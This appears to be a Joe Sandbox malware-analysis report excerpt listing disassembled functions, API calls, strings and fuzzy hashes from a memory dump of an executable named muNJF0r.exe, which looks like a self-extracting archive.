Part of subcall function 00BC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34), ref: 00BC8DE2
Part of subcall function 00BC8DCC: GetLastError.KERNEL32(00BD3A34,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34,00BD3A34), ref: 00BC8DF4

_free.LIBCMT ref: 00BCC829
_free.LIBCMT ref: 00BCC83B
_free.LIBCMT ref: 00BCC84D
_free.LIBCMT ref: 00BCC85F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 59a10e2767e8b3da2b711d53a92dc9aa19852f7171476882d2239fdba1ea79b9
Instruction ID: a75f50d95db3b7a728dbc13d6ba2457c99bcf59e15df5ce856950491705e0202
Opcode Fuzzy Hash: 59a10e2767e8b3da2b711d53a92dc9aa19852f7171476882d2239fdba1ea79b9
Instruction Fuzzy Hash: ACF01232505200ABC660EB68F485E27B7E9EA1071475518AEF15DDB592DF70FC80CB54

Function 00BB1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BB1FE5
_wcslen.LIBCMT ref: 00BB1FF6
_wcslen.LIBCMT ref: 00BB2006
_wcslen.LIBCMT ref: 00BB2014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00BAB371,?,?,00000000,?,?,?), ref: 00BB202F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 9b45d6adc559e9cda2f3b102a41ebbb4d9f51bd6ec69b3ea3e1c8332cae3154f
Instruction ID: 02540dc551998f8a00d08f09d2811e859bfb7ce4938b16007b70c64b8352dc79
Opcode Fuzzy Hash: 9b45d6adc559e9cda2f3b102a41ebbb4d9f51bd6ec69b3ea3e1c8332cae3154f
Instruction Fuzzy Hash: BDF01D32008019BFCF266F51EC09EDA7FA6EB44B60B51C499F61A5B062CB729661D7A0

Function 00BC8900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BC891E

Part of subcall function 00BC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34), ref: 00BC8DE2
Part of subcall function 00BC8DCC: GetLastError.KERNEL32(00BD3A34,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34,00BD3A34), ref: 00BC8DF4

_free.LIBCMT ref: 00BC8930
_free.LIBCMT ref: 00BC8943
_free.LIBCMT ref: 00BC8954
_free.LIBCMT ref: 00BC8965

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: baac62cfd3ef62ec0a06feb41f2eeaa74acde637ef5515d1fd784468449002ce
Instruction ID: 5319d94c445ae84746b2b9c2097b933a4497d2e8cbac7bbdb3b6e72cccdf84ee
Opcode Fuzzy Hash: baac62cfd3ef62ec0a06feb41f2eeaa74acde637ef5515d1fd784468449002ce
Instruction Fuzzy Hash: D2F03A758121228BCA467F18FC06B0D7BE1F72472030305AEF0655B2B1DF728941DB81

Function 00BB15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BB17BC
_swprintf.LIBCMT ref: 00BB186B

Strings

%ls, xrefs: 00BB1641, 00BB1657
%s: %s, xrefs: 00BB17CB

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 0ba9e7b32242c4c9fbebd7dc2ac7e3ec64dae6b8e10aa62692cf397b137da2e0
Instruction ID: c24105b92fe9ce17374ec6e16ca173a5cb9124e81d5c6ad72f71da2f1c14803b
Opcode Fuzzy Hash: 0ba9e7b32242c4c9fbebd7dc2ac7e3ec64dae6b8e10aa62692cf397b137da2e0
Instruction Fuzzy Hash: A6510871248300F7E6211A9C8DE6FF673E5BB06B00FA44DD7F7A7650E1D9E2A810671A

Function 00BC7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe,00000104), ref: 00BC7FAE
_free.LIBCMT ref: 00BC8079
_free.LIBCMT ref: 00BC8083

Strings

C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, xrefs: 00BC7FA5, 00BC7FAC, 00BC7FDB, 00BC8013

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe
API String ID: 2506810119-3135033657
Opcode ID: 61b6de34e01e408ed8222b1c4af73c16335414a248a9b0e4aeb566497a49ad4a
Instruction ID: c83a201c1c8d4e360ee73fed4ea1fef8b898575a1d0ece3dd88e44217d58da90
Opcode Fuzzy Hash: 61b6de34e01e408ed8222b1c4af73c16335414a248a9b0e4aeb566497a49ad4a
Instruction Fuzzy Hash: 1D316D71A00218AFDB21DF99D885F9EBBF8EF95310F1540EEF90497211DA718E45CB61

Function 00BC31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00BC31FB
_abort.LIBCMT ref: 00BC3306

Strings

MOC, xrefs: 00BC320D
RCC, xrefs: 00BC3215

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 5e8c7cdf4975a1e1c8b3e6775b75ac6300df7d865d7427c3c736370e5ee42aed
Instruction ID: d4c29ffaead9cdfdea3cdaa5791b7e557835570dbf838c1bc3fcd9b55d62b8c3
Opcode Fuzzy Hash: 5e8c7cdf4975a1e1c8b3e6775b75ac6300df7d865d7427c3c736370e5ee42aed
Instruction Fuzzy Hash: 34413672900209AFCF15DF98C981FEEBBF5EF48704F188099F905AA211D735AA50DB54

Function 00BA7401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA7406

Part of subcall function 00BA3BBA: __EH_prolog.LIBCMT ref: 00BA3BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00BA74CD

Part of subcall function 00BA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BA7AAB
Part of subcall function 00BA7A9C: GetLastError.KERNEL32 ref: 00BA7AF1
Part of subcall function 00BA7A9C: CloseHandle.KERNEL32(?), ref: 00BA7B00

Strings

SeRestorePrivilege, xrefs: 00BA7460
SeSecurityPrivilege, xrefs: 00BA744B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 80e81bf5f13ef362dbb8286cf3c54f006d4b7ac9ad189bf3d72ab1f4c9866c1d
Instruction ID: fa0da346ad0f2fbd3e8145c34db7a7b96eea5457536adca8be651a703e6173ed
Opcode Fuzzy Hash: 80e81bf5f13ef362dbb8286cf3c54f006d4b7ac9ad189bf3d72ab1f4c9866c1d
Instruction Fuzzy Hash: 103190B1D4C248AADF11EBA8DC45BEEBBE9EB1A304F044095F445A7292DF748A44CB61

Function 00BBAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

EndDialog.USER32(?,00000001), ref: 00BBAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00BBADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00BBADC2

Strings

ASKNEXTVOL, xrefs: 00BBAD28

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: e8edb37d60d4520fecdce886ea3b949dee661f4f8db141dfcc65e5380cf780ec
Instruction ID: 4774e5e058913133da1b8095d8487487e12f0a4a19e08528bde5a4a9b7b5716b
Opcode Fuzzy Hash: e8edb37d60d4520fecdce886ea3b949dee661f4f8db141dfcc65e5380cf780ec
Instruction Fuzzy Hash: 7A11AF32B44200BFD6118F68DC85FBE7BEDEB4A702F4504A1F641AA4A0C6A1D905DB22

Function 00BAD8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00BAD954
_strncpy.LIBCMT ref: 00BAD99A

Part of subcall function 00BB1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00BE1030,00000200,00BAD928,00000000,?,00000050,00BE1030), ref: 00BB1DC4

Strings

$%s, xrefs: 00BAD949
@%s, xrefs: 00BAD93E

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 5e36e480853b9c1c9686caf2461920b6a580f649f67e4977d95f0f276c20aef0
Instruction ID: 5bf4c4e7d931bf3a27cb78ed102460a6ccc6729c5c475acc455897cb178a4a84
Opcode Fuzzy Hash: 5e36e480853b9c1c9686caf2461920b6a580f649f67e4977d95f0f276c20aef0
Instruction Fuzzy Hash: B921A272944248AEDB20EFA4CC45FEF7BE8EF06700F0404A2F911965A2E371D649CB52

Function 00BB0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00BAAC5A,00000008,?,00000000,?,00BAD22D,?,00000000), ref: 00BB0E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00BAAC5A,00000008,?,00000000,?,00BAD22D,?,00000000), ref: 00BB0E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00BAAC5A,00000008,?,00000000,?,00BAD22D,?,00000000), ref: 00BB0E9F

Strings

Thread pool initialization failed., xrefs: 00BB0EB7

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5abcd83deedac9a620b5ed0c866604d5bbc0f75f743b470627341ca37e6e01ba
Instruction ID: be772db52ae886d0cea6995cdd47ed2b0fec2532927149eeab028daa1e4b288f
Opcode Fuzzy Hash: 5abcd83deedac9a620b5ed0c866604d5bbc0f75f743b470627341ca37e6e01ba
Instruction Fuzzy Hash: DA1191B1A047089FC3215F6ADC84AB7FBECEB55754F144C6EF1DAC3201EAB199408B50

Function 00BBB270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

EndDialog.USER32(?,00000001), ref: 00BBB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00BBB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00BBB304

Strings

GETPASSWORD1, xrefs: 00BBB289

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: c8f648c58eb2602c30dd1494f99d8ac519a1f8b05dc009d4b14dc731816c0f43
Instruction ID: 93e406f10921a936055f4db406430dc54e73b784e9faee812e7fdc9c29281ce7
Opcode Fuzzy Hash: c8f648c58eb2602c30dd1494f99d8ac519a1f8b05dc009d4b14dc731816c0f43
Instruction Fuzzy Hash: E811C032940119BBDF229AA49D49FFF3BECEF1A700F0000A5FA45F7180C7E09A4597A5

Function 00BBDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00BBDD31
REPLACEFILEDLG, xrefs: 00BBDD1C, 00BBDD50

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 34e18c83e5ef2e6fa95695b77733c0a14d59166238020e96137d12b450fd4841
Instruction ID: bbe3ebcda4968490c93ad884b22308f77e6d692316db960b8536d2d127b08803
Opcode Fuzzy Hash: 34e18c83e5ef2e6fa95695b77733c0a14d59166238020e96137d12b450fd4841
Instruction Fuzzy Hash: 0E01B136604685AFD7118F58FC84ABA7BE8F708344B100476F849C7371EAB0C850EBA0

Function 00BC9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BC9AA9
__alldvrm.LIBCMT ref: 00BC9CAA
__alldvrm.LIBCMT ref: 00BC9CCC

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction ID: bb5c0b8f12a987649086b74583da53dc01b4fc4e891f63a91cc325ec0d354777
Opcode Fuzzy Hash: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction Fuzzy Hash: C6A14672A047869FFB25CF28C895FAEBBE5EF51310F2841EDE4969B281C6349D41C750

Function 00BAA354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00BA7F69,?,?,?), ref: 00BAA3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00BA7F69,?), ref: 00BAA43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00BA7F69,?,?,?,?,?,?,?), ref: 00BAA4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00BA7F69,?,?,?,?,?,?,?,?,?,?), ref: 00BAA4C6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 55beee85095c1c59ea830d99f2b1b361ed91b9902337fe1a758030066e34e0aa
Instruction ID: 60bbfc545caa09ca13aa312d4d2a5c94d07aac98d86f998c667d703d5eab758b
Opcode Fuzzy Hash: 55beee85095c1c59ea830d99f2b1b361ed91b9902337fe1a758030066e34e0aa
Instruction Fuzzy Hash: 8D418F3124C381ABD731DF24DC55FEEBBE4AB86700F040999B5D193291DBA49A48DB63

Function 00BA1100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BA112B
_wcslen.LIBCMT ref: 00BA1153
_wcslen.LIBCMT ref: 00BA1182
_wcslen.LIBCMT ref: 00BA11A9

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 33720cf02a68c9b312eb547f135f37c4a15b865f4d71f1e256eb6d6e36af5507
Instruction ID: ed33a53bf65ef98706569202e6abf1a6b74b6c85c76dfa372d02189523c44c49
Opcode Fuzzy Hash: 33720cf02a68c9b312eb547f135f37c4a15b865f4d71f1e256eb6d6e36af5507
Instruction Fuzzy Hash: F641B47190166A5BCB619F688C45BEF7BFCEF01710F004459F946F7241DA70AE458BA4

Function 00BCC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00BC91E0,?,00000000,?,00000001,?,?,00000001,00BC91E0,?), ref: 00BCC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BCCA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BC6CBE,?), ref: 00BCCA70
__freea.LIBCMT ref: 00BCCA79

Part of subcall function 00BC8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BCCA2C,00000000,?,00BC6CBE,?,00000008,?,00BC91E0,?,?,?), ref: 00BC8E38

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
